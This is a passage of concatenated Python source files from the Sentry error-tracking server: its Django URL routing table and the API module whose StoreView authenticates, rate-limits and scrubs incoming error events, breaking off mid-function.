from sentry.web.frontend.organization_auth_settings import \
    OrganizationAuthSettingsView
from sentry.web.frontend.organization_member_settings import \
    OrganizationMemberSettingsView
from sentry.web.frontend.out import OutView
from sentry.web.frontend.organization_members import OrganizationMembersView
from sentry.web.frontend.organization_settings import OrganizationSettingsView
from sentry.web.frontend.project_issue_tracking import ProjectIssueTrackingView
from sentry.web.frontend.project_keys import ProjectKeysView
from sentry.web.frontend.project_notifications import ProjectNotificationsView
from sentry.web.frontend.project_plugin_configure import \
    ProjectPluginConfigureView
from sentry.web.frontend.project_plugin_disable import ProjectPluginDisableView
from sentry.web.frontend.project_plugin_enable import ProjectPluginEnableView
from sentry.web.frontend.project_plugin_reset import ProjectPluginResetView
from sentry.web.frontend.project_plugins import ProjectPluginsView
from sentry.web.frontend.project_quotas import ProjectQuotasView
from sentry.web.frontend.project_release_tracking import \
    ProjectReleaseTrackingView
from sentry.web.frontend.project_rule_edit import ProjectRuleEditView
from sentry.web.frontend.project_rule_remove import ProjectRuleRemoveView
from sentry.web.frontend.project_rules import ProjectRulesView
from sentry.web.frontend.project_settings import ProjectSettingsView
from sentry.web.frontend.project_tags import ProjectTagsView
from sentry.web.frontend.react_page import GenericReactPageView, ReactPageView
from sentry.web.frontend.reactivate_account import ReactivateAccountView
from sentry.web.frontend.release_webhook import ReleaseWebhookView
from sentry.web.frontend.remove_account import RemoveAccountView
from sentry.web.frontend.remove_organization import RemoveOrganizationView
from sentry.web.frontend.remove_project import RemoveProjectView
from sentry.web.frontend.remove_project_key import RemoveProjectKeyView
from sentry.web.frontend.remove_team import RemoveTeamView
from sentry.web.frontend.sudo import SudoView
from sentry.web.frontend.unsubscribe_issue_notifications import \
    UnsubscribeIssueNotificationsView
from sentry.web.frontend.user_avatar import UserAvatarPhotoView

__all__ = ('urlpatterns',)


def init_all_applications():
    """
    Forces import of all applications to ensure code is registered.
    """
    from django.db.models import get_apps, get_models

    for app in get_apps():
        try:
            get_models(app)
        except Exception:
            continue

init_all_applications()

# Only create one instance of the ReactPageView since it's duplicated errywhere
react_page_view = ReactPageView.as_view()

urlpatterns = patterns('')

if getattr(settings, 'DEBUG_VIEWS', settings.DEBUG):
    from django.views.generic import TemplateView
    import sentry.web.frontend.debug.mail
    from sentry.web.frontend.debug.debug_assigned_email import (
        DebugAssignedEmailView, DebugSelfAssignedEmailView
    )
    from sentry.web.frontend.debug.debug_trigger_error import (
        DebugTriggerErrorView
    )
    from sentry.web.frontend.debug.debug_error_embed import (
        DebugErrorPageEmbedView
    )
    from sentry.web.frontend.debug.debug_new_release_email import (
        DebugNewReleaseEmailView
    )
    from sentry.web.frontend.debug.debug_note_email import DebugNoteEmailView
    from sentry.web.frontend.debug.debug_regression_email import (
        DebugRegressionEmailView, DebugRegressionReleaseEmailView
    )
    from sentry.web.frontend.debug.debug_resolved_email import (
        DebugResolvedEmailView
    )
    from sentry.web.frontend.debug.debug_resolved_in_release_email import (
        DebugResolvedInReleaseEmailView, DebugResolvedInReleaseUpcomingEmailView
    )
    from sentry.web.frontend.debug.debug_unassigned_email import (
        DebugUnassignedEmailView
    )
    from sentry.web.frontend.debug import debug_auth_views

    urlpatterns += patterns(
        '',
        url(r'^debug/mail/new-event/$',
            sentry.web.frontend.debug.mail.new_event),
        url(r'^debug/mail/note/$',
            DebugNoteEmailView.as_view()),
        url(r'^debug/mail/new-release/$',
            DebugNewReleaseEmailView.as_view()),
        url(r'^debug/mail/assigned/$',
            DebugAssignedEmailView.as_view()),
        url(r'^debug/mail/assigned/self/$',
            DebugSelfAssignedEmailView.as_view()),
        url(r'^debug/mail/digest/$',
            sentry.web.frontend.debug.mail.digest),
        url(r'^debug/mail/report/$',
            sentry.web.frontend.debug.mail.report),
        url(r'^debug/mail/regression/$',
            DebugRegressionEmailView.as_view()),
        url(r'^debug/mail/regression/release/$',
            DebugRegressionReleaseEmailView.as_view()),
        url(r'^debug/mail/resolved/$',
            DebugResolvedEmailView.as_view()),
        url(r'^debug/mail/resolved-in-release/$',
            DebugResolvedInReleaseEmailView.as_view()),
        url(r'^debug/mail/resolved-in-release/upcoming/$',
            DebugResolvedInReleaseUpcomingEmailView.as_view()),
        url(r'^debug/mail/request-access/$',
            sentry.web.frontend.debug.mail.request_access),
        url(r'^debug/mail/access-approved/$',
            sentry.web.frontend.debug.mail.access_approved),
        url(r'^debug/mail/invitation/$',
            sentry.web.frontend.debug.mail.invitation),
        url(r'^debug/mail/confirm-email/$',
            sentry.web.frontend.debug.mail.confirm_email),
        url(r'^debug/mail/recover-account/$',
            sentry.web.frontend.debug.mail.recover_account),
        url(r'^debug/mail/unassigned/$',
            DebugUnassignedEmailView.as_view()),
        url(r'^debug/embed/error-page/$',
            DebugErrorPageEmbedView.as_view()),
        url(r'^debug/trigger-error/$',
            DebugTriggerErrorView.as_view()),
        url(r'^debug/auth-confirm-identity/$',
            debug_auth_views.DebugAuthConfirmIdentity.as_view()),
        url(r'^debug/auth-confirm-link/$',
            debug_auth_views.DebugAuthConfirmLink.as_view()),
        url(r'^debug/icons/$',
            TemplateView.as_view(template_name='sentry/debug/icons.html')),
    )

urlpatterns += patterns(
    '',
    # Store endpoints first since they are the most active
    url(r'^api/store/$', api.StoreView.as_view(),
        name='sentry-api-store'),
    url(r'^api/(?P<project_id>[\w_-]+)/store/$', api.StoreView.as_view(),
        name='sentry-api-store'),
    url(r'^api/(?P<project_id>\d+)/csp-report/$', api.CspReportView.as_view(),
        name='sentry-api-csp-report'),

    # The static version is either a 10 digit timestamp, a sha1, or md5 hash
    url(r'^_static/(?:(?P<version>\d{10}|[a-f0-9]{32,40})/)?(?P<module>[^/]+)/(?P<path>.*)$', generic.static_media,
        name='sentry-media'),

    # API
    url(r'^api/0/', include('sentry.api.urls')),
    url(r'^api/hooks/mailgun/inbound/', MailgunInboundWebhookView.as_view(),
        name='sentry-mailgun-inbound-hook'),
    url(r'^api/hooks/release/(?P<plugin_id>[^/]+)/(?P<project_id>[^/]+)/(?P<signature>[^/]+)/', ReleaseWebhookView.as_view(),
        name='sentry-release-hook'),
    url(r'^api/embed/error-page/$', ErrorPageEmbedView.as_view(),
        name='sentry-error-page-embed'),

    # Auth
    url(r'^auth/link/(?P<organization_slug>[^/]+)/$', AuthOrganizationLoginView.as_view(),
        name='sentry-auth-link-identity'),
    url(r'^auth/login/$', AuthLoginView.as_view(),
        name='sentry-login'),
    url(r'^auth/login/(?P<organization_slug>[^/]+)/$', AuthOrganizationLoginView.as_view(),
        name='sentry-auth-organization'),
    url(r'^auth/2fa/$', TwoFactorAuthView.as_view(),
        name='sentry-2fa-dialog'),
    url(r'^auth/2fa/u2fappid\.json$', u2f_appid,
        name='sentry-u2f-app-id'),
    url(r'^auth/sso/$', AuthProviderLoginView.as_view(),
        name='sentry-auth-sso'),
    url(r'^auth/logout/$', AuthLogoutView.as_view(),
        name='sentry-logout'),
    url(r'^auth/reactivate/$', ReactivateAccountView.as_view(),
        name='sentry-reactivate-account'),

    # Account
    url(r'^login-redirect/$', accounts.login_redirect,
        name='sentry-login-redirect'),
    url(r'^register/$', AuthLoginView.as_view(),
        name='sentry-register'),
    url(r'^account/sudo/$', SudoView.as_view(), name='sentry-sudo'),
    url(r'^account/confirm-email/$', accounts.start_confirm_email,
        name='sentry-account-confirm-email-send'),
    url(r'^account/confirm-email/(?P<user_id>[\d]+)/(?P<hash>[0-9a-zA-Z]+)/$', accounts.confirm_email,
        name='sentry-account-confirm-email'),
    url(r'^account/recover/$', accounts.recover,
        name='sentry-account-recover'),
    url(r'^account/recover/confirm/(?P<user_id>[\d]+)/(?P<hash>[0-9a-zA-Z]+)/$', accounts.recover_confirm,
        name='sentry-account-recover-confirm'),
    url(r'^account/settings/$', accounts.settings,
        name='sentry-account-settings'),
    url(r'^account/settings/2fa/$', accounts.twofactor_settings,
        name='sentry-account-settings-2fa'),
    url(r'^account/settings/2fa/recovery/$',
        accounts_twofactor.RecoveryCodeSettingsView.as_view(),
        name='sentry-account-settings-2fa-recovery'),
    url(r'^account/settings/2fa/totp/$',
        accounts_twofactor.TotpSettingsView.as_view(),
        name='sentry-account-settings-2fa-totp'),
    url(r'^account/settings/2fa/sms/$',
        accounts_twofactor.SmsSettingsView.as_view(),
        name='sentry-account-settings-2fa-sms'),
    url(r'^account/settings/2fa/u2f/$',
        accounts_twofactor.U2fSettingsView.as_view(),
        name='sentry-account-settings-2fa-u2f'),
    url(r'^account/settings/avatar/$', accounts.avatar_settings,
        name='sentry-account-settings-avatar'),
    url(r'^account/settings/appearance/$', accounts.appearance_settings,
        name='sentry-account-settings-appearance'),
    url(r'^account/settings/identities/$', accounts.list_identities,
        name='sentry-account-settings-identities'),
    url(r'^account/settings/notifications/$', AccountNotificationView.as_view(),
        name='sentry-account-settings-notifications'),
    url(r'^account/settings/security/$', AccountSecurityView.as_view(),
        name='sentry-account-security'),

    # compatibility
    url(r'^account/settings/notifications/unsubscribe/(?P<project_id>\d+)/$',
        accounts.email_unsubscribe_project),

    url(r'^account/notifications/unsubscribe/(?P<project_id>\d+)/$',
        accounts.email_unsubscribe_project,
        name='sentry-account-email-unsubscribe-project'),
    url(r'^account/notifications/unsubscribe/issue/(?P<issue_id>\d+)/$',
        UnsubscribeIssueNotificationsView.as_view(),
        name='sentry-account-email-unsubscribe-issue'),

    url(r'^account/remove/$', RemoveAccountView.as_view(),
        name='sentry-remove-account'),
    url(r'^account/settings/social/', include('social_auth.urls')),

    # Admin
    url(r'^manage/queue/$', AdminQueueView.as_view(),
        name='sentry-admin-queue'),
    url(r'^manage/status/environment/$', admin.status_env,
        name='sentry-admin-status'),
    url(r'^manage/status/packages/$', admin.status_packages,
        name='sentry-admin-packages-status'),
    url(r'^manage/status/mail/$', admin.status_mail,
        name='sentry-admin-mail-status'),
    url(r'^manage/status/warnings/$', admin.status_warnings,
        name='sentry-admin-warnings-status'),

    # Admin - Users
    url(r'^manage/users/new/$', admin.create_new_user,
        name='sentry-admin-new-user'),
    url(r'^manage/users/(?P<user_id>\d+)/$', admin.edit_user,
        name='sentry-admin-edit-user'),
    url(r'^manage/users/(?P<user_id>\d+)/remove/$', admin.remove_user,
        name='sentry-admin-remove-user'),

    # Admin - Plugins
    url(r'^manage/plugins/(?P<slug>[\w_-]+)/$', admin.configure_plugin,
        name='sentry-admin-configure-plugin'),


    url(r'^manage/', react_page_view,
        name='sentry-admin-overview'),

    # Legacy Redirects
    url(r'^docs/?$',
        RedirectView.as_view(url='https://docs.sentry.io/hosted/', permanent=False),
        name='sentry-docs-redirect'),
    url(r'^docs/api/?$',
        RedirectView.as_view(url='https://docs.sentry.io/hosted/api/', permanent=False),
        name='sentry-api-docs-redirect'),

    url(r'^api/$', react_page_view, name='sentry-api'),
    url(r'^api/new-token/$', react_page_view),

    url(r'^out/$', OutView.as_view()),

    # Organizations
    url(r'^(?P<organization_slug>[\w_-]+)/$', react_page_view,
        name='sentry-organization-home'),
    url(r'^organizations/new/$', CreateOrganizationView.as_view(),
        name='sentry-create-organization'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/api-keys/$', OrganizationApiKeysView.as_view(),
        name='sentry-organization-api-keys'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/api-keys/(?P<key_id>[\w_-]+)/$', OrganizationApiKeySettingsView.as_view(),
        name='sentry-organization-api-key-settings'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/auth/$', OrganizationAuthSettingsView.as_view(),
        name='sentry-organization-auth-settings'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/members/$', OrganizationMembersView.as_view(),
        name='sentry-organization-members'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/members/new/$', CreateOrganizationMemberView.as_view(),
        name='sentry-create-organization-member'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/members/(?P<member_id>\d+)/$', OrganizationMemberSettingsView.as_view(),
        name='sentry-organization-member-settings'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/stats/$', react_page_view,
        name='sentry-organization-stats'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/settings/$', OrganizationSettingsView.as_view(),
        name='sentry-organization-settings'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/teams/(?P<team_slug>[\w_-]+)/remove/$', RemoveTeamView.as_view(),
        name='sentry-remove-team'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/teams/new/$', CreateTeamView.as_view(),
        name='sentry-create-team'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/projects/new/$', CreateProjectView.as_view(),
        name='sentry-create-project'),
    url(r'^organizations/(?P<organization_slug>[\w_-]+)/remove/$', RemoveOrganizationView.as_view(),
        name='sentry-remove-organization'),
    url(r'^accept/(?P<member_id>\d+)/(?P<token>\w+)/$', AcceptOrganizationInviteView.as_view(),
        name='sentry-accept-invite'),

    # Settings - Projects
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/$',
        ProjectSettingsView.as_view(),
        name='sentry-manage-project'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/issue-tracking/$',
        ProjectIssueTrackingView.as_view(),
        name='sentry-project-issue-tracking'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/release-tracking/$',
        ProjectReleaseTrackingView.as_view(),
        name='sentry-project-release-tracking'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/$',
        ProjectKeysView.as_view(),
        name='sentry-manage-project-keys'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/new/$',
        CreateProjectKeyView.as_view(),
        name='sentry-new-project-key'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/(?P<key_id>\d+)/edit/$',
        EditProjectKeyView.as_view(),
        name='sentry-edit-project-key'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/(?P<key_id>\d+)/remove/$',
        RemoveProjectKeyView.as_view(),
        name='sentry-remove-project-key'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/(?P<key_id>\d+)/disable/$',
        DisableProjectKeyView.as_view(),
        name='sentry-disable-project-key'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/keys/(?P<key_id>\d+)/enable/$',
        EnableProjectKeyView.as_view(),
        name='sentry-enable-project-key'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/plugins/$',
        ProjectPluginsView.as_view(),
        name='sentry-manage-project-plugins'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/plugins/(?P<slug>[\w_-]+)/$',
        ProjectPluginConfigureView.as_view(),
        name='sentry-configure-project-plugin'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/plugins/(?P<slug>[\w_-]+)/reset/$',
        ProjectPluginResetView.as_view(),
        name='sentry-reset-project-plugin'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/plugins/(?P<slug>[\w_-]+)/disable/$',
        ProjectPluginDisableView.as_view(),
        name='sentry-disable-project-plugin'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/plugins/(?P<slug>[\w_-]+)/enable/$',
        ProjectPluginEnableView.as_view(),
        name='sentry-enable-project-plugin'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/remove/$',
        RemoveProjectView.as_view(),
        name='sentry-remove-project'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/tags/$',
        ProjectTagsView.as_view(),
        name='sentry-manage-project-tags'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/quotas/$',
        ProjectQuotasView.as_view(),
        name='sentry-manage-project-quotas'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/notifications/$',
        ProjectNotificationsView.as_view(),
        name='sentry-project-notifications'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/rules/$',
        ProjectRulesView.as_view(),
        name='sentry-project-rules'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/rules/(?P<rule_id>\d+)/edit/$',
        ProjectRuleEditView.as_view(),
        name='sentry-edit-project-rule'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/rules/(?P<rule_id>\d+)/remove/$',
        ProjectRuleRemoveView.as_view(),
        name='sentry-remove-project-rule'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/settings/rules/new/$',
        ProjectRuleEditView.as_view(),
        name='sentry-new-project-rule'),

    url(r'^avatar/(?P<avatar_id>[^\/]+)/$',
        UserAvatarPhotoView.as_view(),
        name='sentry-user-avatar-url'),

    # Generic
    url(r'^$', HomeView.as_view(),
        name='sentry'),

    url(r'^robots\.txt$', api.robots_txt,
        name='sentry-api-robots-txt'),

    # Force a 404 of favicon.ico.
    # This url is commonly requested by browsers, and without
    # blocking this, it was treated as a 200 OK for a react page view.
    # A side effect of this is it may cause a bad redirect when logging in
    # since this gets stored in session as the last viewed page.
    # See: https://github.com/getsentry/sentry/issues/2195
    url(r'favicon\.ico$', lambda r: HttpResponse(status=404)),

    # crossdomain.xml
    url(r'^crossdomain\.xml$', api.crossdomain_xml_index,
        name='sentry-api-crossdomain-xml-index'),
    url(r'^api/(?P<project_id>[\w_-]+)/crossdomain\.xml$', api.crossdomain_xml,
        name='sentry-api-crossdomain-xml'),

    # plugins
    url(r'^plugins/', include('sentry.plugins.base.urls')),

    # Generic API
    url(r'^share/(?:group|issue)/(?P<share_id>[\w_-]+)/$', GenericReactPageView.as_view(auth_required=False),
        name='sentry-group-shared'),

    # Keep named URL for for things using reverse
    url(r'^(?P<organization_slug>[\w_-]+)/issues/(?P<short_id>[\w_-]+)/$', react_page_view,
        name='sentry-short-id'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_id>[\w_-]+)/issues/(?P<group_id>\d+)/$', react_page_view,
        name='sentry-group'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_id>[\w_-]+)/$', react_page_view,
        name='sentry-stream'),

    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/(?:group|issues)/(?P<group_id>\d+)/events/(?P<event_id_or_latest>(\d+|latest))/json/$', GroupEventJsonView.as_view(),
        name='sentry-group-event-json'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/issues/(?P<group_id>\d+)/tags/(?P<key>[^\/]+)/export/$', GroupTagExportView.as_view(),
        name='sentry-group-tag-export'),
    url(r'^(?P<organization_slug>[\w_-]+)/(?P<project_slug>[\w_-]+)/issues/(?P<group_id>\d+)/actions/(?P<slug>[\w_-]+)/', GroupPluginActionView.as_view(),
        name='sentry-group-plugin-action'),

    # Legacy
    url(r'/$', react_page_view),
)






"""
sentry.web
~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import, print_function

import base64
import logging
import six
import traceback

from django.conf import settings
from django.contrib.auth.models import AnonymousUser
from django.core.cache import cache
from django.core.urlresolvers import reverse
from django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotAllowed
from django.utils.encoding import force_bytes
from django.views.decorators.cache import never_cache, cache_control
from django.views.decorators.csrf import csrf_exempt
from django.views.generic.base import View as BaseView
from functools import wraps
from raven.contrib.django.models import client as Raven

from sentry import app
from sentry.coreapi import (
    APIError, APIForbidden, APIRateLimited, ClientApiHelper, CspApiHelper,
    LazyData
)
from sentry.event_manager import EventManager
from sentry.models import Project, OrganizationOption
from sentry.signals import event_accepted, event_received
from sentry.quotas.base import RateLimit
from sentry.utils import json, metrics
from sentry.utils.data_scrubber import SensitiveDataFilter
from sentry.utils.http import (
    is_valid_origin, get_origins, is_same_domain,
)
from sentry.utils.safe import safe_execute
from sentry.web.helpers import render_to_response

logger = logging.getLogger('sentry')

# Transparent 1x1 gif
# See http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever
PIXEL = base64.b64decode('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=')

PROTOCOL_VERSIONS = frozenset(('2.0', '3', '4', '5', '6', '7'))


def api(func):
    @wraps(func)
    def wrapped(request, *args, **kwargs):
        data = func(request, *args, **kwargs)
        if request.is_ajax():
            response = HttpResponse(data)
            response['Content-Type'] = 'application/json'
        else:
            ref = request.META.get('HTTP_REFERER')
            if ref is None or not is_same_domain(ref, request.build_absolute_uri()):
                ref = reverse('sentry')
            return HttpResponseRedirect(ref)
        return response
    return wrapped


class APIView(BaseView):
    helper_cls = ClientApiHelper

    def _get_project_from_id(self, project_id):
        if not project_id:
            return
        if not project_id.isdigit():
            raise APIError('Invalid project_id: %r' % project_id)
        try:
            return Project.objects.get_from_cache(id=project_id)
        except Project.DoesNotExist:
            raise APIError('Invalid project_id: %r' % project_id)

    def _parse_header(self, request, helper, project):
        auth = helper.auth_from_request(request)

        if auth.version not in PROTOCOL_VERSIONS:
            raise APIError('Client using unsupported server protocol version (%r)' % six.text_type(auth.version or ''))

        if not auth.client:
            raise APIError("Client did not send 'client' identifier")

        return auth

    @csrf_exempt
    @never_cache
    def dispatch(self, request, project_id=None, *args, **kwargs):
        helper = self.helper_cls(
            agent=request.META.get('HTTP_USER_AGENT'),
            project_id=project_id,
            ip_address=request.META['REMOTE_ADDR'],
        )
        origin = None

        try:
            origin = helper.origin_from_request(request)

            response = self._dispatch(request, helper, project_id=project_id,
                                      origin=origin,
                                      *args, **kwargs)
        except APIError as e:
            context = {
                'error': force_bytes(e.msg, errors='replace'),
            }
            if e.name:
                context['error_name'] = e.name

            response = HttpResponse(json.dumps(context),
                                    content_type='application/json',
                                    status=e.http_status)
            # Set X-Sentry-Error as in many cases it is easier to inspect the headers
            response['X-Sentry-Error'] = context['error']

            if isinstance(e, APIRateLimited) and e.retry_after is not None:
                response['Retry-After'] = six.text_type(e.retry_after)

        except Exception as e:
            # TODO(dcramer): test failures are not outputting the log message
            # here
            if settings.DEBUG:
                content = traceback.format_exc()
            else:
                content = ''
            logger.exception(e)
            response = HttpResponse(content,
                                    content_type='text/plain',
                                    status=500)

        # TODO(dcramer): it'd be nice if we had an incr_multi method so
        # tsdb could optimize this
        metrics.incr('client-api.all-versions.requests')
        metrics.incr('client-api.all-versions.responses.%s' % (
            response.status_code,
        ))
        metrics.incr('client-api.all-versions.responses.%sxx' % (
            six.text_type(response.status_code)[0],
        ))

        if helper.context.version:
            metrics.incr('client-api.v%s.requests' % (
                helper.context.version,
            ))
            metrics.incr('client-api.v%s.responses.%s' % (
                helper.context.version, response.status_code
            ))
            metrics.incr('client-api.v%s.responses.%sxx' % (
                helper.context.version, six.text_type(response.status_code)[0]
            ))

        if response.status_code != 200 and origin:
            # We allow all origins on errors
            response['Access-Control-Allow-Origin'] = '*'

        if origin:
            response['Access-Control-Allow-Headers'] = \
                'X-Sentry-Auth, X-Requested-With, Origin, Accept, ' \
                'Content-Type, Authentication'
            response['Access-Control-Allow-Methods'] = \
                ', '.join(self._allowed_methods())

        return response

    def _dispatch(self, request, helper, project_id=None, origin=None,
                  *args, **kwargs):
        request.user = AnonymousUser()

        project = self._get_project_from_id(project_id)
        if project:
            helper.context.bind_project(project)
            Raven.tags_context(helper.context.get_tags_context())

        if origin is not None:
            # This check is specific for clients who need CORS support
            if not project:
                raise APIError('Client must be upgraded for CORS support')
            if not is_valid_origin(origin, project):
                raise APIForbidden('Invalid origin: %s' % (origin,))

        # XXX: It seems that the OPTIONS call does not always include custom headers
        if request.method == 'OPTIONS':
            response = self.options(request, project)
        else:
            auth = self._parse_header(request, helper, project)

            project_ = helper.project_from_auth(auth)

            # Legacy API was /api/store/ and the project ID was only available elsewhere
            if not project:
                if not project_:
                    raise APIError('Unable to identify project')
                project = project_
                helper.context.bind_project(project)
            elif project_ != project:
                raise APIError('Two different project were specified')

            helper.context.bind_auth(auth)
            Raven.tags_context(helper.context.get_tags_context())

            if auth.version != '2.0':
                if not auth.secret_key:
                    # If we're missing a secret_key, check if we are allowed
                    # to do a CORS request.

                    # If we're missing an Origin/Referrer header entirely,
                    # we only want to support this on GET requests. By allowing
                    # un-authenticated CORS checks for POST, we basially
                    # are obsoleting our need for a secret key entirely.
                    if origin is None and request.method != 'GET':
                        raise APIForbidden('Missing required attribute in authentication header: sentry_secret')

                    if not is_valid_origin(origin, project):
                        raise APIForbidden('Missing required Origin or Referer header')

            response = super(APIView, self).dispatch(
                request=request,
                project=project,
                auth=auth,
                helper=helper,
                **kwargs
            )

        if origin:
            response['Access-Control-Allow-Origin'] = origin

        return response

    # XXX: backported from Django 1.5
    def _allowed_methods(self):
        return [m.upper() for m in self.http_method_names if hasattr(self, m)]

    def options(self, request, *args, **kwargs):
        response = HttpResponse()
        response['Allow'] = ', '.join(self._allowed_methods())
        response['Content-Length'] = '0'
        return response


class StoreView(APIView):
    """
    The primary endpoint for storing new events.

    This will validate the client's authentication and data, and if
    successful pass on the payload to the internal database handler.

    Authentication works in three flavors:

    1. Explicit signed requests

       These are implemented using the documented signed request protocol, and
       require an authentication header which is signed using with the project
       member's secret key.

    2. CORS Secured Requests

       Generally used for communications with client-side platforms (such as
       JavaScript in the browser), they require a standard header, excluding
       the signature and timestamp requirements, and must be listed in the
       origins for the given project (or the global origins).

    3. Implicit trusted requests

       Used by the Sentry core, they are only available from same-domain requests
       and do not require any authentication information. They only require that
       the user be authenticated, and a project_id be sent in the GET variables.

    """
    def post(self, request, **kwargs):
        data = request.body
        response_or_event_id = self.process(request, data=data, **kwargs)
        if isinstance(response_or_event_id, HttpResponse):
            return response_or_event_id
        return HttpResponse(json.dumps({
            'id': response_or_event_id,
        }), content_type='application/json')

    def get(self, request, **kwargs):
        data = request.GET.get('sentry_data', '')
        response_or_event_id = self.process(request, data=data, **kwargs)

        # Return a simple 1x1 gif for browser so they don't throw a warning
        response = HttpResponse(PIXEL, 'image/gif')
        if not isinstance(response_or_event_id, HttpResponse):
            response['X-Sentry-ID'] = response_or_event_id
        return response

    def process(self, request, project, auth, helper, data, **kwargs):
        metrics.incr('events.total')

        if not data:
            raise APIError('No JSON data was found')

        data = LazyData(
            data=data,
            content_encoding=request.META.get('HTTP_CONTENT_ENCODING', ''),
            helper=helper,
        )

        remote_addr = request.META['REMOTE_ADDR']
        event_received.send_robust(
            ip=remote_addr,
            sender=type(self),
        )

        if helper.should_filter(project, data, ip_address=remote_addr):
            app.tsdb.incr_multi([
                (app.tsdb.models.project_total_received, project.id),
                (app.tsdb.models.project_total_blacklisted, project.id),
                (app.tsdb.models.organization_total_received, project.organization_id),
                (app.tsdb.models.organization_total_blacklisted, project.organization_id),
            ])
            metrics.incr('events.blacklisted')
            raise APIForbidden('Event dropped due to filter')

        # TODO: improve this API (e.g. make RateLimit act on __ne__)
        rate_limit = safe_execute(app.quotas.is_rate_limited, project=project,
                                  _with_transaction=False)
        if isinstance(rate_limit, bool):
            rate_limit = RateLimit(is_limited=rate_limit, retry_after=None)

        # XXX(dcramer): when the rate limiter fails we drop events to ensure
        # it cannot cascade
        if rate_limit is None or rate_limit.is_limited:
            if rate_limit is None:
                helper.log.debug('Dropped event due to error with rate limiter')
            app.tsdb.incr_multi([
                (app.tsdb.models.project_total_received, project.id),
                (app.tsdb.models.project_total_rejected, project.id),
                (app.tsdb.models.organization_total_received, project.organization_id),
                (app.tsdb.models.organization_total_rejected, project.organization_id),
            ])
            metrics.incr('events.dropped')
            if rate_limit is not None:
                raise APIRateLimited(rate_limit.retry_after)
        else:
            app.tsdb.incr_multi([
                (app.tsdb.models.project_total_received, project.id),
                (app.tsdb.models.organization_total_received, project.organization_id),
            ])

        # mutates data
        data = helper.validate_data(project, data)

        if 'sdk' not in data:
            sdk = helper.parse_client_as_sdk(auth.client)
            if sdk:
                data['sdk'] = sdk
            else:
                data['sdk'] = {}
        data['sdk']['client_ip'] = remote_addr

        # mutates data
        manager = EventManager(data, version=auth.version)
        manager.normalize()

        org_options = OrganizationOption.objects.get_all_values(project.organization_id)

        if org_options.get('sentry:require_scrub_ip_address', False):
            scrub_ip_address = True
        else:
            scrub_ip_address = project.get_option('sentry:scrub_ip_address', False)

        # insert IP address if not available and wanted
        if not scrub_ip_address:
            helper.ensure_has_ip(
                data, remote_addr, set_if_missing=auth.is_public or
                data.get('platform') in ('javascript', 'cocoa', 'objc'))

        event_id = data['event_id']

        # TODO(dcramer): ideally we'd only validate this if the event_id was
        # supplied by the user
        cache_key = 'ev:%s:%s' % (project.id, event_id,)

        if cache.get(cache_key) is not None:
            raise APIForbidden('An event with the same ID already exists (%s)' % (event_id,))

        if org_options.get('sentry:require_scrub_data', False):
            scrub_data = True
        else:
            scrub_data = project.get_option('sentry:scrub_data', True)

        if scrub_data:
            # We filter data immediately before it ever gets into the queue
            sensitive_fields_key = 'sentry:sensitive_fields'
            sensitive_fields = (
                org_options.get(sensitive_fields_key, []) +
                project.get_option(sensitive_fields_key, [])
            )

            if org_options.get('sentry:require_scrub_defaults', False):
                scrub_defaults = True
            else:
                scrub_defaults = project.get_option('sentry:scrub_defaults', True)

            inst = SensitiveDataFilter(
                fields=sensitive_fields,
                include_defaults=scrub_defaults,
            )
            inst.apply(data)

        if scrub_ip_address:
